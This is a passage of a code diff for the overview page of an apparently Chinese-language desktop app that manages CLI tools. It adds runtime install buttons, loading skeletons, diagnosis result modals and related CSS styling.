return { dot: "status-dot warn breathe", missingText: "执行失败", needsInstall: false };
|
||||
case "version_unparseable":
|
||||
return { dot: "status-dot warn breathe", missingText: "版本未知", needsGuide: false };
|
||||
return { dot: "status-dot warn breathe", missingText: "版本未知", needsInstall: false };
|
||||
default:
|
||||
return { dot: "status-dot unknown", missingText: "未知", needsGuide: false };
|
||||
return { dot: "status-dot unknown", missingText: "未知", needsInstall: false };
|
||||
}
|
||||
}
|
||||
|
||||
function RuntimeItem({
|
||||
name,
|
||||
info,
|
||||
onNavigate,
|
||||
onInstall,
|
||||
}: {
|
||||
name: string;
|
||||
info: RuntimeInfo;
|
||||
onNavigate: (p: PageKey) => void;
|
||||
onInstall: (runtime: string) => void;
|
||||
}) {
|
||||
const meta = runtimeMeta(info.status);
|
||||
return (
|
||||
@@ -70,107 +82,126 @@ function RuntimeItem({
|
||||
) : (
|
||||
<span className="runtime-missing">{meta.missingText}</span>
|
||||
)}
|
||||
{meta.needsGuide && (
|
||||
<button type="button" className="link-btn runtime-action" onClick={() => onNavigate("catalog")}>
|
||||
安装指引
|
||||
{meta.needsInstall && (
|
||||
<button type="button" className="btn btn-secondary btn-sm runtime-action" onClick={() => onInstall(name)}>
|
||||
<Download size={13} strokeWidth={1.5} aria-hidden="true" /> 安装
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function EnvPanel({ onNavigate }: { onNavigate: (p: PageKey) => void }) {
|
||||
const { env, loading, error } = useEnv();
|
||||
function EnvPanel({
|
||||
onInstallRuntime,
|
||||
onSystemDiagnose,
|
||||
}: {
|
||||
onInstallRuntime: (runtime: string) => void;
|
||||
onSystemDiagnose: () => void;
|
||||
}) {
|
||||
const { env, loading } = useEnv();
|
||||
const [showAllPath, setShowAllPath] = useState(false);
|
||||
|
||||
if (error) {
|
||||
if (!env && loading) {
|
||||
return (
|
||||
<section className="panel env-panel">
|
||||
<div className="panel-head">
|
||||
<h2 className="panel-title">本机环境</h2>
|
||||
<span className="panel-hint">检测中…</span>
|
||||
</div>
|
||||
<div className="skeleton-rows">
|
||||
<div className="skeleton-line" />
|
||||
<div className="skeleton-line" />
|
||||
<div className="skeleton-line short" />
|
||||
</div>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
|
||||
if (!env) {
|
||||
return (
|
||||
<section className="panel env-panel">
|
||||
<div className="panel-head">
|
||||
<h2 className="panel-title">本机环境</h2>
|
||||
</div>
|
||||
<p className="panel-empty">环境检测失败:{error}</p>
|
||||
<p className="panel-empty">环境检测失败</p>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
|
||||
const pathPreview = env ? env.path_entries.slice(0, 8) : [];
|
||||
const pathPreview = env.path_entries.slice(0, 8);
|
||||
|
||||
return (
|
||||
<section className="panel env-panel">
|
||||
<div className="panel-head">
|
||||
<h2 className="panel-title">本机环境</h2>
|
||||
{loading && <span className="panel-hint">检测中…</span>}
|
||||
{loading && <span className="panel-hint">刷新中…</span>}
|
||||
<button type="button" className="btn btn-secondary btn-sm env-diag-btn" onClick={onSystemDiagnose}>
|
||||
<Cpu size={13} strokeWidth={1.5} aria-hidden="true" /> 系统环境诊断
|
||||
</button>
|
||||
</div>
|
||||
{env && (
|
||||
<>
|
||||
<div className="env-grid">
|
||||
<div className="env-basic">
|
||||
<div className="env-row">
|
||||
<span className="env-key">系统</span>
|
||||
<span className="env-val">{env.os_version}</span>
|
||||
</div>
|
||||
<div className="env-row">
|
||||
<span className="env-key">架构</span>
|
||||
<span className="env-val">{env.arch}</span>
|
||||
</div>
|
||||
<div className="env-row">
|
||||
<span className="env-key">Shell</span>
|
||||
<span className="env-val">
|
||||
{env.shells.powershell_version ? (
|
||||
<>PowerShell <MonoChip>{env.shells.powershell_version}</MonoChip></>
|
||||
) : null}
|
||||
{env.shells.pwsh_version ? (
|
||||
<> · pwsh <MonoChip>{env.shells.pwsh_version}</MonoChip></>
|
||||
) : null}
|
||||
{env.shells.bash_available ? " · Bash ✓" : ""}
|
||||
</span>
|
||||
</div>
|
||||
<div className="env-row">
|
||||
<span className="env-key">密钥库</span>
|
||||
<span className="env-val">
|
||||
{env.capabilities.keyring === "ok" ? "Credential Manager ✓" : "密钥库缺失"}
|
||||
</span>
|
||||
</div>
|
||||
<div className="env-row">
|
||||
<span className="env-key">提权</span>
|
||||
<span className="env-val">{env.capabilities.can_elevate ? "可用" : "不可用"}</span>
|
||||
</div>
|
||||
</div>
|
||||
<div className="runtime-grid">
|
||||
{(["node", "npm", "python", "uv", "git", "winget", "apt"] as const).map(
|
||||
(key) => {
|
||||
const info = env.runtimes[key];
|
||||
if (!info) return null;
|
||||
return <RuntimeItem key={key} name={key} info={info} onNavigate={onNavigate} />;
|
||||
},
|
||||
)}
|
||||
</div>
|
||||
<div className="env-grid">
|
||||
<div className="env-basic">
|
||||
<div className="env-row">
|
||||
<span className="env-key">系统</span>
|
||||
<span className="env-val">{env.os_version}</span>
|
||||
</div>
|
||||
<div className="path-block">
|
||||
<div className="path-head">
|
||||
<span className="path-title">
|
||||
PATH({env.path_entries.length} 条)
|
||||
<MonoChip>{env.path_entries.length}</MonoChip>
|
||||
</span>
|
||||
{env.path_entries.length > pathPreview.length && (
|
||||
<button
|
||||
type="button"
|
||||
className="link-btn"
|
||||
onClick={() => setShowAllPath((v) => !v)}
|
||||
>
|
||||
{showAllPath ? "收起" : "展开全部"}
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
{(showAllPath ? env.path_entries : pathPreview).map((entry, idx) => (
|
||||
<div key={idx} className="path-entry">
|
||||
{entry}
|
||||
</div>
|
||||
))}
|
||||
<div className="env-row">
|
||||
<span className="env-key">架构</span>
|
||||
<span className="env-val">{env.arch}</span>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
<div className="env-row">
|
||||
<span className="env-key">Shell</span>
|
||||
<span className="env-val">
|
||||
{env.shells.powershell_version ? (
|
||||
<>PowerShell <MonoChip>{env.shells.powershell_version}</MonoChip></>
|
||||
) : null}
|
||||
{env.shells.pwsh_version ? (
|
||||
<> · pwsh <MonoChip>{env.shells.pwsh_version}</MonoChip></>
|
||||
) : null}
|
||||
{env.shells.bash_available ? " · Bash ✓" : ""}
|
||||
</span>
|
||||
</div>
|
||||
<div className="env-row">
|
||||
<span className="env-key">密钥库</span>
|
||||
<span className="env-val">
|
||||
{env.capabilities.keyring === "ok" ? "Credential Manager ✓" : "密钥库缺失"}
|
||||
</span>
|
||||
</div>
|
||||
<div className="env-row">
|
||||
<span className="env-key">提权</span>
|
||||
<span className="env-val">{env.capabilities.can_elevate ? "可用" : "不可用"}</span>
|
||||
</div>
|
||||
</div>
|
||||
<div className="runtime-grid">
|
||||
{(["node", "npm", "python", "uv", "git", "winget", "apt"] as const).map((key) => {
|
||||
const info = env.runtimes[key];
|
||||
if (!info) return null;
|
||||
return <RuntimeItem key={key} name={key} info={info} onInstall={onInstallRuntime} />;
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
<div className="path-block">
|
||||
<div className="path-head">
|
||||
<span className="path-title">
|
||||
PATH({env.path_entries.length} 条)
|
||||
<MonoChip>{env.path_entries.length}</MonoChip>
|
||||
</span>
|
||||
{env.path_entries.length > pathPreview.length && (
|
||||
<button
|
||||
type="button"
|
||||
className="link-btn"
|
||||
onClick={() => setShowAllPath((v) => !v)}
|
||||
>
|
||||
{showAllPath ? "收起" : "展开全部"}
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
{(showAllPath ? env.path_entries : pathPreview).map((entry, idx) => (
|
||||
<div key={idx} className="path-entry">
|
||||
{entry}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
@@ -220,9 +251,29 @@ function Onboarding({ onNavigate }: { onNavigate: (p: PageKey) => void }) {
|
||||
);
|
||||
}
|
||||
|
||||
/** 最近诊断卡(v1.3 §3.1.2:无记录时展示空态,不渲染占位行与「查看全部」) */
|
||||
function DiagPanel() {
|
||||
// Wave 0.5 尚无诊断引擎数据,恒为空态(语义按 §3.7,不虚构记录)
|
||||
/** 检测进行中的骨架屏(Wave 2.2 Req 4:禁止在检测未完成时显示空态文案) */
|
||||
function OverviewSkeleton() {
|
||||
return (
|
||||
<div className="overview-skeleton" role="status" aria-label="正在检测本机 CLI">
|
||||
<div className="skeleton-notice">
|
||||
<Loader2 size={16} strokeWidth={1.5} className="spin" aria-hidden="true" />
|
||||
正在检测本机 CLI…
|
||||
</div>
|
||||
<div className="skeleton-grid">
|
||||
{Array.from({ length: 8 }).map((_, i) => (
|
||||
<div key={i} className="skeleton-card">
|
||||
<div className="skeleton-line avatar" />
|
||||
<div className="skeleton-line" />
|
||||
<div className="skeleton-line short" />
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** 最近诊断卡(v1.3 §3.1.2:无记录时展示空态;「立即诊断」跑全量诊断) */
|
||||
function DiagPanel({ onDiagnose }: { onDiagnose: () => void }) {
|
||||
const records: { cli: string; text: string; time: string }[] = [];
|
||||
return (
|
||||
<div className="panel diag-panel">
|
||||
@@ -232,7 +283,7 @@ function DiagPanel() {
|
||||
{records.length === 0 ? (
|
||||
<div className="diag-empty">
|
||||
<span className="diag-empty-text">暂无诊断记录</span>
|
||||
<button type="button" className="btn btn-secondary">
|
||||
<button type="button" className="btn btn-secondary" onClick={onDiagnose}>
|
||||
<ScanSearch size={16} strokeWidth={1.5} aria-hidden="true" /> 立即诊断
|
||||
</button>
|
||||
</div>
|
||||
@@ -256,9 +307,11 @@ function DiagPanel() {
|
||||
function QuickActions({
|
||||
firstRun,
|
||||
onNavigate,
|
||||
onDiagnose,
|
||||
}: {
|
||||
firstRun: boolean;
|
||||
onNavigate: (p: PageKey) => void;
|
||||
onDiagnose: () => void;
|
||||
}) {
|
||||
return (
|
||||
<div className="panel quick-card">
|
||||
@@ -266,7 +319,7 @@ function QuickActions({
|
||||
<button type="button" className="btn btn-primary" onClick={() => onNavigate("catalog")}>
|
||||
<Plus size={16} strokeWidth={1.5} aria-hidden="true" /> 添加 CLI
|
||||
</button>
|
||||
<button type="button" className="btn btn-secondary">
|
||||
<button type="button" className="btn btn-secondary" onClick={onDiagnose}>
|
||||
<Activity size={16} strokeWidth={1.5} aria-hidden="true" /> 立即诊断
|
||||
</button>
|
||||
<button
|
||||
@@ -292,30 +345,38 @@ function QuickActions({
|
||||
/** CLI 状态网格块(v1.3 §3.1.4;首跑精简为两行 + 安装入口,§3.1.5) */
|
||||
function CliBlock({
|
||||
entry,
|
||||
detect,
|
||||
compact,
|
||||
onNavigate,
|
||||
onOpenDetail,
|
||||
}: {
|
||||
entry: CatalogEntry;
|
||||
detect: DetectResult | undefined;
|
||||
compact: boolean;
|
||||
onNavigate: (p: PageKey) => void;
|
||||
onOpenDetail: (id: string) => void;
|
||||
}) {
|
||||
const installed = entry.status === "installed";
|
||||
const installed = detect?.status === "installed";
|
||||
return (
|
||||
<div className="cli-block">
|
||||
<div className="cli-block" role="button" tabIndex={0} onClick={() => onOpenDetail(entry.id)} onKeyDown={(e) => { if (e.key === "Enter" || e.key === " ") { e.preventDefault(); onOpenDetail(entry.id); } }}>
|
||||
<div className="cli-block-top">
|
||||
<CliMonogram id={entry.id} name={entry.name} size={32} />
|
||||
<span className="cli-block-name">{entry.name_zh}</span>
|
||||
<StatusBadge kind={installed ? "installed" : "uninstalled"} label={installed ? "已安装" : "未安装"} />
|
||||
</div>
|
||||
<div className="cli-block-version">
|
||||
{installed ? null : <span className="version-missing">未安装</span>}
|
||||
{installed ? (
|
||||
detect?.version ? <MonoChip>{detect.version}</MonoChip> : null
|
||||
) : (
|
||||
<span className="version-missing">未安装</span>
|
||||
)}
|
||||
</div>
|
||||
{!compact && (
|
||||
<div className="cli-block-auth">
|
||||
{installed ? (
|
||||
<>
|
||||
<span className="status-dot ok" aria-hidden="true" />
|
||||
<span>已安装</span>
|
||||
<span>{detect?.version ? `v${detect.version}` : "已安装"}</span>
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
@@ -327,7 +388,7 @@ function CliBlock({
|
||||
)}
|
||||
{compact && (
|
||||
<div className="cli-block-install">
|
||||
<button type="button" className="link-btn" onClick={() => onNavigate("catalog")}>
|
||||
<button type="button" className="link-btn" onClick={(e) => { e.stopPropagation(); onNavigate("catalog"); }}>
|
||||
安装
|
||||
</button>
|
||||
</div>
|
||||
@@ -338,15 +399,66 @@ function CliBlock({
|
||||
|
||||
interface OverviewProps {
|
||||
onNavigate: (p: PageKey) => void;
|
||||
onOpenDetail: (id: string) => void;
|
||||
pendingRuntime?: string | null;
|
||||
onRuntimeHandled?: () => void;
|
||||
}
|
||||
|
||||
/** 总览页(视觉规范 §3.1 + PRD §7):首跑空态 / KPI + 诊断/快速操作 + CLI 状态网格 + 本机环境 */
|
||||
export function OverviewPage({ onNavigate }: OverviewProps) {
|
||||
export function OverviewPage({ onNavigate, onOpenDetail, pendingRuntime, onRuntimeHandled }: OverviewProps) {
|
||||
const { env } = useEnv();
|
||||
const { entries } = useCatalog();
|
||||
const { entries, loading: catalogLoading } = useCatalog();
|
||||
const { detectMap, loading: detecting } = useDetectAll();
|
||||
|
||||
const installedCount = entries.filter((e) => e.status === "installed").length;
|
||||
const firstRun = installedCount === 0; // 无安装且无诊断记录(当前无诊断引擎)
|
||||
const [runtimeInstall, setRuntimeInstall] = useState<string | null>(null);
|
||||
const [diagOpen, setDiagOpen] = useState(false);
|
||||
const [diagReports, setDiagReports] = useState<DiagnosticReport[] | null>(null);
|
||||
const [diagBusy, setDiagBusy] = useState(false);
|
||||
const [sysDiagOpen, setSysDiagOpen] = useState(false);
|
||||
const [sysDiag, setSysDiag] = useState<SystemEnvReport | null>(null);
|
||||
const [sysDiagBusy, setSysDiagBusy] = useState(false);
|
||||
|
||||
// 外部跳转(详情页错误内联按钮「去安装 Node.js」)
|
||||
useEffect(() => {
|
||||
if (pendingRuntime) {
|
||||
setRuntimeInstall(pendingRuntime);
|
||||
onRuntimeHandled?.();
|
||||
}
|
||||
}, [pendingRuntime, onRuntimeHandled]);
|
||||
|
||||
async function runDiagnose() {
|
||||
setDiagOpen(true);
|
||||
setDiagBusy(true);
|
||||
setDiagReports(null);
|
||||
try {
|
||||
const reports = await diagnoseAll();
|
||||
setDiagReports(reports);
|
||||
} catch (e) {
|
||||
setDiagReports([{ cli_id: "", findings: [{ rule_id: "diagnose.failed", severity: "error", message_zh: String(e), evidence: null }] }]);
|
||||
} finally {
|
||||
setDiagBusy(false);
|
||||
}
|
||||
}
|
||||
|
||||
async function runSystemDiagnose() {
|
||||
setSysDiagOpen(true);
|
||||
setSysDiagBusy(true);
|
||||
setSysDiag(null);
|
||||
try {
|
||||
const report = await diagnoseSystem();
|
||||
setSysDiag(report);
|
||||
} catch (e) {
|
||||
setSysDiag({ findings: [] });
|
||||
void e;
|
||||
} finally {
|
||||
setSysDiagBusy(false);
|
||||
}
|
||||
}
|
||||
|
||||
const installedCount = entries.filter((e) => detectMap[e.id]?.status === "installed").length;
|
||||
// 检测未完成(首次、无缓存)时不得判空态
|
||||
const ready = !detecting && !catalogLoading;
|
||||
const firstRun = ready && installedCount === 0;
|
||||
|
||||
const warningCount = env ? runtimeProblems(env).length : 0;
|
||||
const warningNames = env ? runtimeProblems(env).map((p) => p.name) : [];
|
||||
@@ -354,7 +466,7 @@ export function OverviewPage({ onNavigate }: OverviewProps) {
|
||||
return (
|
||||
<div className="overview">
|
||||
{/* ① KPI 一排 4 张(首跑空态隐藏,v1.3 §3.1.5) */}
|
||||
{!firstRun && (
|
||||
{ready && !firstRun && (
|
||||
<section className="kpi-grid" aria-label="概览指标">
|
||||
<KpiCard label="已安装" value={installedCount} tone="primary" subtitle="暂无安装" action={{ label: "去目录看看", onClick: () => onNavigate("catalog") }} />
|
||||
<KpiCard label="待授权" value={0} tone="attention" subtitle="暂无待授权" />
|
||||
@@ -369,28 +481,181 @@ export function OverviewPage({ onNavigate }: OverviewProps) {
|
||||
)}
|
||||
|
||||
{/* ② 中段:诊断/引导 + 快速操作(超宽三栏见 global.css) */}
|
||||
<section className="overview-mid">
|
||||
{firstRun ? <Onboarding onNavigate={onNavigate} /> : <DiagPanel />}
|
||||
<QuickActions firstRun={firstRun} onNavigate={onNavigate} />
|
||||
</section>
|
||||
{ready ? (
|
||||
<section className="overview-mid">
|
||||
{firstRun ? <Onboarding onNavigate={onNavigate} /> : <DiagPanel onDiagnose={runDiagnose} />}
|
||||
<QuickActions firstRun={firstRun} onNavigate={onNavigate} onDiagnose={runDiagnose} />
|
||||
</section>
|
||||
) : (
|
||||
<section className="overview-mid">
|
||||
<OverviewSkeleton />
|
||||
<QuickActions firstRun onNavigate={onNavigate} onDiagnose={runDiagnose} />
|
||||
</section>
|
||||
)}
|
||||
|
||||
{/* ③ 下段:CLI 状态网格通栏(首跑精简:可安装列表 + 安装入口) */}
|
||||
<section className="panel cli-status-panel">
|
||||
<div className="panel-head">
|
||||
<h2 className="panel-title">
|
||||
{firstRun ? `可安装的 CLI(${entries.length})` : "CLI 状态"}
|
||||
</h2>
|
||||
{/* 「管理全部 N 个」入口:仅当未全量展示时才渲染(v1.3 §3.1.4),本页恒全量展示,故不渲染 */}
|
||||
</div>
|
||||
<div className="cli-status-grid">
|
||||
{entries.map((entry) => (
|
||||
<CliBlock key={entry.id} entry={entry} compact={firstRun} onNavigate={onNavigate} />
|
||||
))}
|
||||
</div>
|
||||
</section>
|
||||
{!ready ? (
|
||||
<OverviewSkeleton />
|
||||
) : (
|
||||
<section className="panel cli-status-panel">
|
||||
<div className="panel-head">
|
||||
<h2 className="panel-title">
|
||||
{firstRun ? `可安装的 CLI(${entries.length})` : "CLI 状态"}
|
||||
</h2>
|
||||
</div>
|
||||
<div className="cli-status-grid">
|
||||
{entries.map((entry) => (
|
||||
<CliBlock
|
||||
key={entry.id}
|
||||
entry={entry}
|
||||
detect={detectMap[entry.id]}
|
||||
compact={firstRun}
|
||||
onNavigate={onNavigate}
|
||||
onOpenDetail={onOpenDetail}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
</section>
|
||||
)}
|
||||
|
||||
{/* ④ 本机环境(真实检测结果,架构 §5;超宽断点上提为第三栏) */}
|
||||
<EnvPanel onNavigate={onNavigate} />
|
||||
<EnvPanel onInstallRuntime={setRuntimeInstall} onSystemDiagnose={runSystemDiagnose} />
|
||||
|
||||
{/* 运行时一键安装弹窗 */}
|
||||
{runtimeInstall && (
|
||||
<RuntimeInstallModal runtime={runtimeInstall} onClose={() => setRuntimeInstall(null)} />
|
||||
)}
|
||||
|
||||
{/* 全量诊断汇总弹窗 */}
|
||||
{diagOpen && (
|
||||
<Modal title="诊断结果" onClose={() => setDiagOpen(false)}>
|
||||
<DiagSummary busy={diagBusy} reports={diagReports} />
|
||||
</Modal>
|
||||
)}
|
||||
|
||||
{/* 系统环境诊断弹窗(Wave 3.1 Req 7) */}
|
||||
{sysDiagOpen && (
|
||||
<Modal title="系统环境诊断" onClose={() => setSysDiagOpen(false)}>
|
||||
<SystemDiagSummary busy={sysDiagBusy} report={sysDiag} onInstall={setRuntimeInstall} />
|
||||
</Modal>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function DiagSummary({ busy, reports }: { busy: boolean; reports: DiagnosticReport[] | null }) {
|
||||
if (busy) {
|
||||
return (
|
||||
<p className="panel-empty">
|
||||
<Loader2 size={14} strokeWidth={1.5} className="spin" aria-hidden="true" /> 正在对已装工具运行诊断…
|
||||
</p>
|
||||
);
|
||||
}
|
||||
if (!reports) return null;
|
||||
const allFindings = reports.flatMap((r) => r.findings);
|
||||
const errors = allFindings.filter((f) => f.severity === "error").length;
|
||||
const warns = allFindings.filter((f) => f.severity === "warn").length;
|
||||
return (
|
||||
<div className="diag-summary-all">
|
||||
<div className="diag-summary">
|
||||
{allFindings.length === 0 ? (
|
||||
<>
|
||||
<span className="status-dot ok" aria-hidden="true" />
|
||||
<span>已装工具全部正常,未发现问题</span>
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<span className={`status-dot ${errors > 0 ? "error" : "warn"}`} aria-hidden="true" />
|
||||
<span>
|
||||
共 {allFindings.length} 项:{errors} 个错误、{warns} 个警告、{allFindings.length - errors - warns} 个提示
|
||||
</span>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
{reports.map((r) =>
|
||||
r.findings.length === 0 ? null : (
|
||||
<div key={r.cli_id} className="diag-report-group">
|
||||
<div className="diag-report-cli">{r.cli_id}</div>
|
||||
{r.findings.map((f, i) => (
|
||||
<div key={i} className="diag-finding-row">
|
||||
<span className={`diag-sev-label ${f.severity}`}>
|
||||
{f.severity === "error" ? "错误" : f.severity === "warn" ? "警告" : "提示"}
|
||||
</span>
|
||||
<span className="diag-finding-row-msg">{f.message_zh}</span>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
),
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** 系统环境诊断(Wave 3.1 Req 7):每项标注影响哪些 CLI,缺失项带一键安装 */
|
||||
function SystemDiagSummary({
|
||||
busy,
|
||||
report,
|
||||
onInstall,
|
||||
}: {
|
||||
busy: boolean;
|
||||
report: SystemEnvReport | null;
|
||||
onInstall: (runtime: string) => void;
|
||||
}) {
|
||||
if (busy) {
|
||||
return (
|
||||
<p className="panel-empty">
|
||||
<Loader2 size={14} strokeWidth={1.5} className="spin" aria-hidden="true" /> 正在检查系统环境依赖…
|
||||
</p>
|
||||
);
|
||||
}
|
||||
if (!report) return null;
|
||||
const problems = report.findings.filter((f) => f.status !== "installed");
|
||||
const allOk = problems.length === 0;
|
||||
return (
|
||||
<div className="sys-diag">
|
||||
<div className="diag-summary">
|
||||
{allOk ? (
|
||||
<>
|
||||
<span className="status-dot ok" aria-hidden="true" />
|
||||
<span>系统环境依赖完整,无缺失</span>
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<span className="status-dot warn" aria-hidden="true" />
|
||||
<span>发现 {problems.length} 项环境依赖缺失或版本过低</span>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
{report.findings.map((f) => {
|
||||
const missing = f.status !== "installed";
|
||||
return (
|
||||
<div key={f.runtime_id} className="sys-diag-item">
|
||||
<span className={`status-dot ${missing ? "warn" : "ok"}`} aria-hidden="true" />
|
||||
<div className="sys-diag-main">
|
||||
<div className="sys-diag-head">
|
||||
<span className="sys-diag-name">{f.label_zh}</span>
|
||||
{f.version && <MonoChip>{f.version}</MonoChip>}
|
||||
<span className={`sys-diag-status ${missing ? "warn" : ""}`}>
|
||||
{missing ? "缺失 / 需更新" : "正常"}
|
||||
</span>
|
||||
</div>
|
||||
<p className="sys-diag-msg">{f.message_zh}</p>
|
||||
{f.affected_cli.length > 0 && (
|
||||
<p className="sys-diag-affected">影响:{f.affected_cli.join(" · ")}</p>
|
||||
)}
|
||||
</div>
|
||||
{missing && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary btn-sm"
|
||||
onClick={() => onInstall(f.runtime_id)}
|
||||
>
|
||||
<Download size={13} strokeWidth={1.5} aria-hidden="true" /> 安装
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -288,6 +288,14 @@ button {
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
/* 紧凑尺寸(本机环境内联「安装」等) */
|
||||
.btn-sm {
|
||||
height: 26px;
|
||||
min-width: 0;
|
||||
padding: 0 var(--ad-space-3);
|
||||
font-size: var(--ad-text-s-size);
|
||||
}
|
||||
|
||||
/* 主按钮(§2.6 v1.2:内渐变 + 内高光 + 常驻弱辉光,hover 双层扩散辉光) */
|
||||
.btn-primary {
|
||||
background: var(--ad-btn-primary-bg);
|
||||
@@ -1144,6 +1152,7 @@ button {
|
||||
|
||||
.overview .overview-mid {
|
||||
grid-column: 1 / 3;
|
||||
grid-row: 2;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
@@ -1153,6 +1162,7 @@ button {
|
||||
|
||||
.overview .env-panel {
|
||||
grid-column: 3;
|
||||
grid-row: 2;
|
||||
margin-top: 0;
|
||||
}
|
||||
}
|
||||
@@ -1410,6 +1420,7 @@ button {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-3);
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.detail-command-desc {
|
||||
@@ -1417,6 +1428,38 @@ button {
|
||||
font-size: var(--ad-text-s-size);
|
||||
}
|
||||
|
||||
/* 可复制命令块(Wave 3.1 Req 9):hover 高亮 + 点击复制 */
|
||||
.command-copy {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-2);
|
||||
background: transparent;
|
||||
border: none;
|
||||
padding: 0;
|
||||
cursor: pointer;
|
||||
color: var(--ad-text-2);
|
||||
border-radius: var(--ad-radius-s);
|
||||
transition: color 120ms ease, background 120ms ease;
|
||||
}
|
||||
|
||||
.command-copy:hover {
|
||||
color: var(--ad-primary);
|
||||
background: var(--ad-bg-1);
|
||||
}
|
||||
|
||||
.command-copy:hover .mono-chip {
|
||||
border-color: var(--ad-primary);
|
||||
color: var(--ad-primary);
|
||||
}
|
||||
|
||||
.command-copied {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 3px;
|
||||
font-size: var(--ad-text-xs-size);
|
||||
color: var(--ad-success);
|
||||
}
|
||||
|
||||
/* ---------- 诊断结果(§3.5) ---------- */
|
||||
.diag-summary {
|
||||
display: flex;
|
||||
@@ -1815,3 +1858,829 @@ button {
|
||||
.save-error {
|
||||
color: var(--ad-danger);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Wave 2.1:安装进度 / 配置校验 / 详情信息 / 目录真机状态 / 我的 CLI
|
||||
* 全部颜色来自 tokens/
|
||||
* ============================================================ */
|
||||
|
||||
/* ---------- 执行进度三阶段(安装弹窗) ---------- */
|
||||
.run-body {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--ad-space-4);
|
||||
}
|
||||
|
||||
.run-phases {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-2);
|
||||
}
|
||||
|
||||
.run-phase {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-2);
|
||||
color: var(--ad-text-3);
|
||||
font-size: var(--ad-text-s-size);
|
||||
}
|
||||
|
||||
.run-phase-dot {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
border-radius: 50%;
|
||||
border: 1px solid var(--ad-border);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
}
|
||||
|
||||
.run-phase.done {
|
||||
color: var(--ad-success);
|
||||
}
|
||||
|
||||
.run-phase.done .run-phase-dot {
|
||||
border-color: var(--ad-success);
|
||||
color: var(--ad-success);
|
||||
}
|
||||
|
||||
.run-phase.active {
|
||||
color: var(--ad-primary);
|
||||
}
|
||||
|
||||
.run-phase.active .run-phase-dot {
|
||||
border-color: var(--ad-primary);
|
||||
color: var(--ad-primary);
|
||||
box-shadow: var(--ad-glow-primary);
|
||||
}
|
||||
|
||||
.run-result {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
flex-wrap: wrap;
|
||||
gap: var(--ad-space-2);
|
||||
padding: var(--ad-space-3) var(--ad-space-4);
|
||||
border-radius: var(--ad-radius-m);
|
||||
font-size: var(--ad-text-s-size);
|
||||
}
|
||||
|
||||
.run-result.success {
|
||||
color: var(--ad-success);
|
||||
border: 1px solid var(--ad-border);
|
||||
background: var(--ad-bg-1);
|
||||
}
|
||||
|
||||
.run-result.failed {
|
||||
color: var(--ad-danger);
|
||||
border: 1px solid var(--ad-border);
|
||||
background: var(--ad-bg-1);
|
||||
}
|
||||
|
||||
.run-result-version {
|
||||
color: var(--ad-text-2);
|
||||
font-family: var(--ad-font-mono);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
word-break: break-all;
|
||||
}
|
||||
|
||||
/* ---------- 详情概览:基本信息表 + 官方链接 ---------- */
|
||||
.detail-meta {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--ad-space-2);
|
||||
}
|
||||
|
||||
.detail-meta-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-3);
|
||||
}
|
||||
|
||||
.detail-meta-label {
|
||||
width: 88px;
|
||||
flex-shrink: 0;
|
||||
color: var(--ad-text-2);
|
||||
font-size: var(--ad-text-s-size);
|
||||
}
|
||||
|
||||
.detail-meta-value {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
flex-wrap: wrap;
|
||||
gap: var(--ad-space-2);
|
||||
min-width: 0;
|
||||
color: var(--ad-text-1);
|
||||
font-size: var(--ad-text-m-size);
|
||||
}
|
||||
|
||||
.detail-links {
|
||||
display: flex;
|
||||
gap: var(--ad-space-4);
|
||||
}
|
||||
|
||||
.detail-link {
|
||||
color: var(--ad-primary);
|
||||
font-size: var(--ad-text-m-size);
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.detail-link:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.detail-doc-footer {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
flex-wrap: wrap;
|
||||
gap: var(--ad-space-3);
|
||||
padding-top: var(--ad-space-4);
|
||||
border-top: 1px solid var(--ad-border);
|
||||
}
|
||||
|
||||
.detail-doc-meta {
|
||||
color: var(--ad-text-3);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
}
|
||||
